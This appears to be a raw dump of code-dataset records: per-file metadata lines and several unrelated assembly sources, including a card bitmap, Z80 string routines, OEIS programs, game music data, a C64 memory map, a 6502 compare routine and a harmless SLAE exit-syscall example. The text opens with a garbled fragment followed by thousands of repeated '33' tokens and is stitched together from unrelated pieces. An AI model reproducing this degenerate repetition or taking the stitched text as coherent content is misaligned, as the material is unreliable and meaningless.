False}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
41.587838
2,999
0.659789
3ea12530f16d36012d4c102f936293c7835095e1
3,272
asm
Assembly
Appl/Art/Decks/GeoDeck/LMHeart2.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Art/Decks/GeoDeck/LMHeart2.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Art/Decks/GeoDeck/LMHeart2.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
LMHeart2 label byte word C_BLACK Bitmap <71,100,BMC_PACKBITS,BMF_MONO> db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0x01, 0x03, 0xe0, 0xfc, 0x00, 0x01, 0x1d, 0xc0 db 0x01, 0x07, 0xf0, 0xfc, 0x00, 0x01, 0x37, 0x60 db 0x01, 0x0e, 0x38, 0xfc, 0x00, 0x01, 0x2a, 0xa0 db 0x01, 0x0c, 0x18, 0xfc, 0x00, 0x01, 0x35, 0x60 db 0x01, 0x0c, 0x18, 0xfc, 0x00, 0x01, 0x1a, 0xc0 db 0x01, 0x00, 0x38, 0xfc, 0x00, 0x01, 0x0d, 0x80 db 0x01, 0x00, 0x70, 0xfc, 0x00, 0x01, 0x07, 0x00 db 0x01, 0x00, 0xe0, 0xfc, 0x00, 0x01, 0x02, 0x00 db 0x05, 0x01, 0xc0, 0x00, 0x03, 0xc7, 0x80, 0xfe, 0x00 db 0x05, 0x03, 0x80, 0x00, 0x06, 0xee, 0xc0, 0xfe, 0x00 db 0x05, 0x07, 0x00, 0x00, 0x0d, 0x7d, 0x60, 0xfe, 0x00 db 0x05, 0x0e, 0x18, 0x00, 0x0a, 0xba, 0xa0, 0xfe, 0x00 db 0x05, 0x0c, 0x18, 0x00, 0x0d, 0x55, 0x60, 0xfe, 0x00 db 0x05, 0x0f, 0xf8, 0x00, 0x0a, 0xaa, 0xa0, 0xfe, 0x00 db 0x05, 0x0f, 0xf8, 0x00, 0x05, 0x55, 0x40, 0xfe, 0x00 db 0xfe, 0x00, 0x02, 0x06, 0xaa, 0xc0, 0xfe, 0x00 db 0xfe, 0x00, 0x02, 0x03, 0x55, 0x80, 0xfe, 0x00 db 0xfe, 0x00, 0x01, 0x01, 0xab, 0xfd, 0x00 db 0xfd, 0x00, 0x00, 0xd6, 0xfd, 0x00 db 0xfd, 0x00, 0x00, 0x6c, 0xfd, 0x00 db 0xfd, 0x00, 0x00, 0x38, 0xfd, 0x00 db 0xfd, 0x00, 0x00, 0x10, 0xfd, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xfd, 0x00, 0x00, 0x20, 0xfd, 0x00 db 0xfd, 0x00, 0x00, 0x70, 0xfd, 0x00 db 0xfd, 0x00, 0x00, 0xd8, 0xfd, 0x00 db 0xfe, 0x00, 0x01, 0x01, 0xac, 0xfd, 0x00 db 0xfe, 0x00, 0x01, 0x03, 0x56, 0xfd, 0x00 db 0xfe, 0x00, 0x01, 0x06, 0xab, 0xfd, 0x00 db 0xfe, 0x00, 0x05, 0x0d, 0x55, 0x80, 0x00, 0x3f, 0xe0 db 0xfe, 0x00, 0x05, 0x0a, 0xaa, 0x80, 0x00, 0x3f, 0xe0 db 0xfe, 0x00, 0x05, 0x15, 0x55, 0x40, 0x00, 0x30, 0x60 db 0xfe, 0x00, 0x05, 0x1a, 0xaa, 0xc0, 0x00, 0x30, 0xe0 db 0xfe, 0x00, 0x05, 0x15, 0x75, 0x40, 0x00, 0x01, 0xc0 db 0xfe, 0x00, 0x05, 0x1a, 0xfa, 0xc0, 0x00, 0x03, 0x80 db 0xfe, 0x00, 0x05, 0x0d, 0xdd, 0x80, 0x00, 0x07, 0x00 db 0x08, 0x01, 0x00, 0x00, 0x07, 0x8f, 0x00, 0x00, 0x0e, 0x00 db 0x01, 0x03, 0x80, 0xfc, 0x00, 0x01, 0x1c, 0x00 db 0x01, 0x06, 0xc0, 0xfc, 0x00, 0x01, 0x38, 0x00 db 0x01, 0x0d, 0x60, 0xfc, 0x00, 0x01, 0x30, 0x60 db 0x01, 0x1a, 0xb0, 0xfc, 0x00, 0x01, 0x30, 0x60 db 0x01, 0x15, 0x50, 0xfc, 0x00, 0x01, 0x38, 0xe0 db 0x01, 0x1b, 0xb0, 0xfc, 0x00, 0x01, 0x1f, 0xc0 db 0x01, 0x0e, 0xe0, 0xfc, 0x00, 0x01, 0x0f, 0x80 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00 db 0xf8, 0x00
27.495798
53
0.636614
8f943263079c84d2d91c939653e5fa48f3dcd356
1,435
asm
Assembly
lib/chibiakumas/SrcALL/Multiplatform_StringFunctionsB.asm
gilbertfrancois/msx
f34418180820df067530f31bd9727ef1c65a7989
[ "Apache-2.0" ]
null
null
null
lib/chibiakumas/SrcALL/Multiplatform_StringFunctionsB.asm
gilbertfrancois/msx
f34418180820df067530f31bd9727ef1c65a7989
[ "Apache-2.0" ]
null
null
null
lib/chibiakumas/SrcALL/Multiplatform_StringFunctionsB.asm
gilbertfrancois/msx
f34418180820df067530f31bd9727ef1c65a7989
[ "Apache-2.0" ]
null
null
null
; Learn Multi platform Z80 Assembly Programming... With Vampires! ;Please see my website at www.chibiakumas.com/z80/ ;for the 'textbook', useful resources and video tutorials ;File String Function B ;Version V1.0 ;Date 2018/4/18 ;Content ToUpper - Convert a 255 terminated lower case string to upper case ; CompareString - Compare two strings, one at HL, other at DE ; return NC if true, C if not matched ; ReplaceChar - replace char D with char E in string at HL ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CompareString: ld a,(de) cp (hl) jr nz,CompareString_Fail ;Do both chars match? - no then fail or (hl) ;has either reached the end cp 255 jr z,CompareString_END inc hl inc de jp CompareString ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CompareString_END: and (hl) ;have both reached the end? inc a;cp 255 ret z ;Return No-Carry if matched CompareString_Fail: scf ;Return Carry if failed ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ReplaceChar: ;Replace D with E in string starting at (HL) ld a,(hl) cp 255 ret z ;End if we found a char255 cp d jr nz,ReplaceChar_OK ld (hl),e ;Need to swap this character ReplaceChar_OK: inc hl jr ReplaceChar ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
24.741379
88
0.544948
cce992322b36c0e78d64310ab18fbc047b200340
366
asm
Assembly
programs/oeis/081/A081077.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/081/A081077.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/081/A081077.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A081077: a(n) = Lucas(4*n+2) + 3, or Lucas(2*n)*Lucas(2*n+2). ; 6,21,126,846,5781,39606,271446,1860501,12752046,87403806,599074581,4106118246,28143753126,192900153621,1322157322206,9062201101806,62113250390421,425730551631126,2918000611027446,20000273725560981 mov $1,1 lpb $0 sub $0,1 sub $2,$1 sub $1,$2 lpe pow $1,2 div $1,3 mul $1,15 add $1,6 mov $0,$1
24.4
198
0.724044
b56f1b388e2f33be009feceb533cae9bb435042d
3,190
asm
Assembly
audio/music/indigoplateau.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
audio/music/indigoplateau.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
audio/music/indigoplateau.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
Music_IndigoPlateau: musicheader 4, 1, Music_IndigoPlateau_Ch1 musicheader 1, 2, Music_IndigoPlateau_Ch2 musicheader 1, 3, Music_IndigoPlateau_Ch3 musicheader 1, 4, Music_IndigoPlateau_Ch4 Music_IndigoPlateau_Ch1: tempo 128 volume $77 dutycycle $3 tone $0002 stereopanning $f Music_IndigoPlateau_branch_ee86a: callchannel Music_IndigoPlateau_branch_ee881 octave 3 note D_, 4 callchannel Music_IndigoPlateau_branch_ee881 octave 3 note D#, 4 callchannel Music_IndigoPlateau_branch_ee881 octave 3 note D#, 4 callchannel Music_IndigoPlateau_branch_ee881 note A#, 4 loopchannel 0, Music_IndigoPlateau_branch_ee86a Music_IndigoPlateau_branch_ee881: notetype $c, $b6 octave 2 note A_, 4 intensity $b2 note A_, 2 note A_, 2 note A_, 2 note A_, 2 note A_, 4 note A_, 2 note A_, 2 intensity $a0 endchannel Music_IndigoPlateau_Ch2: dutycycle $3 vibrato $10, $22 stereopanning $f0 Music_IndigoPlateau_branch_ee899: callchannel Music_IndigoPlateau_branch_ee8e9 note A_, 4 callchannel Music_IndigoPlateau_branch_ee8e9 note A#, 4 callchannel Music_IndigoPlateau_branch_ee8e9 note A_, 4 callchannel Music_IndigoPlateau_branch_ee8e9 note C#, 4 intensity $c7 note A_, 6 note D_, 2 note G_, 2 note A#, 2 note A_, 8 intensity $b0 note A_, 4 callchannel Music_IndigoPlateau_branch_ee8e9 note A#, 4 intensity $c7 octave 4 note D_, 6 note D#, 2 note C_, 4 note D_, 8 intensity $b0 octave 3 note A_, 4 callchannel Music_IndigoPlateau_branch_ee8e9 note C#, 4 intensity $c7 octave 4 note C_, 6 octave 3 note A#, 2 note A_, 2 note G_, 2 note F#, 8 intensity $b0 note A_, 4 callchannel Music_IndigoPlateau_branch_ee8e9 note A#, 4 intensity $c7 octave 4 note D_, 6 note D#, 2 note F_, 4 note F#, 8 intensity $b0 octave 3 note A_, 4 callchannel Music_IndigoPlateau_branch_ee8e9 note C#, 4 loopchannel 0, Music_IndigoPlateau_branch_ee899 Music_IndigoPlateau_branch_ee8e9: notetype $c, $c6 octave 3 note D_, 4 intensity $c2 note D_, 2 note D_, 2 note D_, 2 note D_, 2 note D_, 4 note D_, 2 note D_, 2 intensity $b0 endchannel Music_IndigoPlateau_Ch3: notetype $c, $19 Music_IndigoPlateau_branch_ee8fd: callchannel Music_IndigoPlateau_branch_ee915 octave 3 note A_, 4 callchannel Music_IndigoPlateau_branch_ee915 octave 3 note A_, 4 callchannel Music_IndigoPlateau_branch_ee915 octave 3 note A_, 4 callchannel Music_IndigoPlateau_branch_ee915 octave 3 note F#, 4 loopchannel 0, Music_IndigoPlateau_branch_ee8fd Music_IndigoPlateau_branch_ee915: octave 3 note D_, 1 note __, 3 octave 2 note A_, 1 note __, 3 octave 3 note C_, 1 note __, 3 note D_, 1 note __, 3 octave 2 note A_, 1 note __, 3 endchannel Music_IndigoPlateau_Ch4: stereopanning $f0 togglenoise $0 notetype $c Music_IndigoPlateau_branch_ee92a: note D#, 4 note D_, 2 note D#, 2 note D#, 2 note D#, 2 note D_, 4 note D_, 2 note D_, 2 notetype $6 note D_, 1 note D_, 1 note D#, 1 note D#, 1 note D#, 1 note D#, 1 note D_, 1 note D_, 1 notetype $c note D#, 4 note D_, 2 note D#, 2 note D#, 2 note D_, 2 note C#, 4 note D_, 2 note D_, 2 note C#, 4 loopchannel 0, Music_IndigoPlateau_branch_ee92a
17.431694
48
0.753292
bd898417780a1e09f4cd38273177e9bc34a94d18
471
asm
Assembly
MODULE2/1-exit_shellcode/exit/exit.asm
wetw0rk/SLAE
c78bc5a8559b35fefb0b3302be8d3d1acd712e11
[ "MIT" ]
18
2017-11-28T01:10:10.000Z
2020-07-22T13:24:26.000Z
MODULE2/1-exit_shellcode/exit/exit.asm
wetw0rk/SLAE
c78bc5a8559b35fefb0b3302be8d3d1acd712e11
[ "MIT" ]
null
null
null
MODULE2/1-exit_shellcode/exit/exit.asm
wetw0rk/SLAE
c78bc5a8559b35fefb0b3302be8d3d1acd712e11
[ "MIT" ]
11
2018-12-14T16:18:03.000Z
2020-12-01T16:37:19.000Z
; Executable name : exit ; Designed OS : Linux (32-bit) ; Author : wetw0rk ; Version : 1.0 ; Created Following : SLAE ; Description : An example of exit shellcode ; ; Build using these commands: ; nasm -f elf32 -o exit.o exit.asm ; ld -o exit exit.o ; objdump -d exit -M intel ; SECTION .text global _start _start: mov eax,1 ; make the exit() syscall mov ebx,0 ; exit cleanly or 0 int 80h ; call the kernel
21.409091
54
0.605096
8e76cbe9985c1c7da5b6a3974beca4f58bc7385a
262
asm
Assembly
dv3/qlsd/banner.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
dv3/qlsd/banner.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
dv3/qlsd/banner.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; QLSD boot string section banner xdef banner xref.l qlsd_vers banner dc.w txt_end-*-2 dc.b 'QLSD WIN driver ' dc.l qlsd_vers dc.b ' WL + MK 2020',$a ; 'QLSD WIN driver 0.00 WL + MK 2020',$a ; ' (max 35 chars) ',$0A txt_end end
13.789474
44
0.591603
f747d49747664be47ab60c92a012bd823661fba7
292
asm
Assembly
libsrc/input/spectrum/in_MouseSimInit.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/input/spectrum/in_MouseSimInit.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/input/spectrum/in_MouseSimInit.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void in_MouseSimInit(struct in_UDM *u) ; CALLER linkage for function pointers SECTION code_clib PUBLIC in_MouseSimInit PUBLIC _in_MouseSimInit EXTERN in_MouseSimInit_fastcall .in_MouseSimInit ._in_MouseSimInit pop de pop hl push hl push de jp in_MouseSimInit_fastcall
16.222222
40
0.794521
f9db7cc4aeae63d6c8fa4831e233b62740dd2f0b
596
asm
Assembly
Userland/SampleCodeModule/Assembly/deviceInfo.asm
luciatorrusio/Arqui--TPE
4cb73fcc08223a02646eb687741337ef6526de32
[ "BSD-3-Clause" ]
null
null
null
Userland/SampleCodeModule/Assembly/deviceInfo.asm
luciatorrusio/Arqui--TPE
4cb73fcc08223a02646eb687741337ef6526de32
[ "BSD-3-Clause" ]
null
null
null
Userland/SampleCodeModule/Assembly/deviceInfo.asm
luciatorrusio/Arqui--TPE
4cb73fcc08223a02646eb687741337ef6526de32
[ "BSD-3-Clause" ]
null
null
null
GLOBAL infoReg GLOBAL __UD2__ EXTERN printRegisters section .text %macro pushState 0 push rax push rbx push rcx push rdx push rbp push rdi push rsi push r8 push r9 push r10 push r11 push r12 push r13 push r14 push r15 %endmacro %macro popState 0 pop r15 pop r14 pop r13 pop r12 pop r11 pop r10 pop r9 pop r8 pop rsi pop rdi pop rbp pop rdx pop rcx pop rbx pop rax %endmacro __UD2__: enter 0,0 ud2 leave ret infoReg: enter 0,0 pushState mov rdi,rsp call printRegisters mov rax,0 leave ret
8.164384
21
0.642617
6a194868e3b423984124aa43a682ee93a20d1bd7
938
asm
Assembly
programs/oeis/214/A214877.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/214/A214877.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/214/A214877.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A214877: n ^ (last digit of n). ; 1,1,4,27,256,3125,46656,823543,16777216,387420489,1,11,144,2197,38416,759375,16777216,410338673,11019960576,322687697779,1,21,484,12167,331776,9765625,308915776,10460353203,377801998336,14507145975869,1,31,1024,35937,1336336,52521875,2176782336,94931877133,4347792138496,208728361158759,1,41,1764,79507,3748096,184528125,9474296896,506623120463,28179280429056,1628413597910449,1,51,2704,148877,8503056,503284375,30840979456,1954897493193,128063081718016,8662995818654939,1,61,3844,250047,16777216,1160290625,82653950016,6060711605323,457163239653376,35452087835576229,1,71,5184,389017,29986576,2373046875,192699928576,16048523266853,1370114370683136,119851595982618319,1,81,6724,571787,49787136,4437053125,404567235136,37725479487783,3596345248055296,350356403707485209,1,91,8464,804357,78074896,7737809375,782757789696,80798284478113,8507630225817856,913517247483640899 mov $1,$0 mod $1,10 pow $0,$1
134
872
0.860341
bdc816a2fb3cc4e0f2ed51f2627b8ab42ffa0d69
4,571
asm
Assembly
source/gameMemory.asm
lvcabral/retaliate64
3f7e48c7c38ea5aea118514c1dbb23b41856bbcd
[ "MIT" ]
65
2017-12-28T18:00:07.000Z
2022-02-02T18:48:05.000Z
source/gameMemory.asm
lvcabral/retaliate64
3f7e48c7c38ea5aea118514c1dbb23b41856bbcd
[ "MIT" ]
3
2018-01-21T19:12:26.000Z
2022-03-31T07:23:36.000Z
source/gameMemory.asm
lvcabral/retaliate64
3f7e48c7c38ea5aea118514c1dbb23b41856bbcd
[ "MIT" ]
4
2018-01-01T17:52:42.000Z
2022-01-26T20:09:14.000Z
;=============================================================================== ; gameMemory.asm - Game Memory Map ; ; Copyright (C) 2017,2018 Marcelo Lv Cabral - <https://lvcabral.com> ; ; Distributed under the MIT software license, see the accompanying ; file LICENSE or https://opensource.org/licenses/MIT ; ;=============================================================================== ; $00-$FF PAGE ZERO (256 bytes) ; $00-$01 Reserved for IO ZeroPageTemp = $02 ; $03-$8F Reserved for BASIC ; using $73-$8A CHRGET as BASIC not used for our game ZeroPageParam1 = $73 ZeroPageParam2 = $74 ZeroPageParam3 = $75 ZeroPageParam4 = $76 ZeroPageParam5 = $77 ZeroPageParam6 = $78 ZeroPageParam7 = $79 ZeroPageParam8 = $7A ZeroPageParam9 = $7B ZeroPageTemp1 = $80 ZeroPageTemp2 = $81 ; $90-$FA Reserved for Kernal ZeroPageLow = $FB ZeroPageHigh = $FC ZeroPageLow2 = $FD ZeroPageHigh2 = $FE ; $FF Reserved for Kernal ;=============================================================================== ; $0100-$01FF STACK (256 bytes) ;=============================================================================== ; $0200-$9FFF RAM (40K) ; $0801 ; Game code is placed here by using the *=$0801 directive on gameMain.asm ; Splash screen bitmap * = $4000 incbin "splash.kla",2 SCREENRAM = $6800 SPRITE0 = $6BF8 ; 176 decimal * 64(sprite size) = 11264 (hex $2C00) ; VIC II is looking at $4000 adding $2C00 we have $6C00 SPRITERAM = 176 * = $6C00 incbin "sprites.spt",1,35,true ; The character set ($D018) pointing to 14 decimal (%xxxx101x) ; So charmem is at $3800 adding bank start $4000 we have $7800 CHARSETPOS = 14 * = $7800 ; letters and numbers from the font "Teggst shower 5" ; http://kofler.dot.at/c64/download/teggst_shower_5.zip incbin "characters.cst",0,102 ; Menu screens * = $8000 MAPRAM ; Export List: 1-5(9),1-5(10),1-5(11),1-5(12),1-5(13),1-5(14),1-5(15),1-5(16),1-5(17),1-5(18),1-5(19),1-5(20),1-5(21),1-5(22),1-5(24) incbin "screens.bin" ;=============================================================================== ; $A000-$BFFF BASIC ROM (8K) ;=============================================================================== ; $C000-$CFFF RAM (4K) ; SID music SIDINIT = $C000 SIDPLAY = $C006 SIDSONG = $00 ; Id of the song (inside the SID file) * = $C000 SIDLOAD ; Music: Scout (c)1988 by Jeroen Tel ; http://csdb.dk/sid/?id=28205 incbin "music.sid", $7E ;=============================================================================== ; $D000-$DFFF IO (4K) ; These are some of the C64 registers that are mapped into ; IO memory space ; Names taken from 'Mapping the Commodore 64' book SP0X = $D000 SP0Y = $D001 MSIGX = $D010 SCROLY = $D011 RASTER = $D012 SPENA = $D015 SCROLX = $D016 VMCSB = $D018 SPBGPR = $D01B SPMC = $D01C SPSPCL = $D01E EXTCOL = $D020 BGCOL0 = $D021 BGCOL1 = $D022 BGCOL2 = $D023 BGCOL3 = $D024 SPMC0 = $D025 SPMC1 = $D026 SP0COL = $D027 FRELO1 = $D400 ;(54272) FREHI1 = $D401 ;(54273) PWLO1 = $D402 ;(54274) PWHI1 = $D403 ;(54275) VCREG1 = $D404 ;(54276) ATDCY1 = $D405 ;(54277) SUREL1 = $D406 ;(54278) FRELO2 = $D407 ;(54279) FREHI2 = $D408 ;(54280) PWLO2 = $D409 ;(54281) PWHI2 = $D40A ;(54282) VCREG2 = $D40B ;(54283) ATDCY2 = $D40C ;(54284) SUREL2 = $D40D ;(54285) FRELO3 = $D40E ;(54286) FREHI3 = $D40F ;(54287) PWLO3 = $D410 ;(54288) PWHI3 = $D411 ;(54289) VCREG3 = $D412 ;(54290) ATDCY3 = $D413 ;(54291) SUREL3 = $D414 ;(54292) SIGVOL = $D418 ;(54296) COLORRAM = $D800 CIAPRA = $DC00 CIAPRB = $DC01 ;=============================================================================== ; $E000-$FFFF KERNAL ROM (8K) ; Kernal Subroutines SCNKEY = $FF9F GETIN = $FFE4 CLOSE = $FFC3 OPEN = $FFC0 SETNAM = $FFBD SETLFS = $FFBA CLRCHN = $FFCC CHROUT = $FFD2 LOAD = $FFD5 SAVE = $FFD8 ;===============================================================================
29.301282
141
0.456574
e8cb27d888b9befdee08c23b2f1fc0aecccd3880
1,956
asm
Assembly
source/main/imath/int32compare.asm
paulscottrobson/6502-basic
d4c360041bfa49427a506465e58bb0ef94beaa44
[ "MIT" ]
3
2021-09-30T19:34:11.000Z
2021-10-31T06:55:50.000Z
source/main/imath/int32compare.asm
paulscottrobson/6502-Basic
d4c360041bfa49427a506465e58bb0ef94beaa44
[ "MIT" ]
null
null
null
source/main/imath/int32compare.asm
paulscottrobson/6502-Basic
d4c360041bfa49427a506465e58bb0ef94beaa44
[ "MIT" ]
1
2021-12-07T21:58:44.000Z
2021-12-07T21:58:44.000Z
; ***************************************************************************** ; ***************************************************************************** ; ; Name: int32compare.asm ; Author: Paul Robson (paul@robsons.org.uk) ; Date: 21st February 2021 ; Reviewed: 7th March 2021 ; Purpose: Simple 32 bit compare routines ; ; ***************************************************************************** ; ***************************************************************************** .section code ; ***************************************************************************** ; ; Compare two ints TOS, return $FF,$00,$01 ; (non destructive of values) ; ; ***************************************************************************** MInt32Compare: lda esInt0,x ; equality check first. cmp esInt0+1,x bne MInt32Compare2 lda esInt1,x cmp esInt1+1,x bne MInt32Compare2 lda esInt2,x cmp esInt2+1,x bne MInt32Compare2 lda esInt3,x eor esInt3+1,x ; EOR will return 0 if the same. bne MInt32Compare2 rts ; ; Different so subtract to work out larger ; MInt32Compare2: lda esInt0,x ; unsigned 32 bit comparison. cmp esInt0+1,x lda esInt1,x sbc esInt1+1,x lda esInt2,x sbc esInt2+1,x lda esInt3,x sbc esInt3+1,x bvc _I32LNoOverflow ; make it signed 32 bit comparison eor #$80 _I32LNoOverflow bmi MInt32CLess ; if -ve then return $FF lda #$01 ; else return $01 rts ; MInt32CLess: lda #$FF rts .send code ; ************************************************************************************************ ; ; Changes and Updates ; ; ************************************************************************************************ ; ; Date Notes ; ==== ===== ; 07-Mar-21 Pre code read v0.01 ; ; ************************************************************************************************
27.166667
98
0.378323
5b9ae0bdfb0d1f93035989987b33c8ae697ffa99
4,719
asm
Assembly
DeliriOS_64bits/grub-init/src/loader.asm
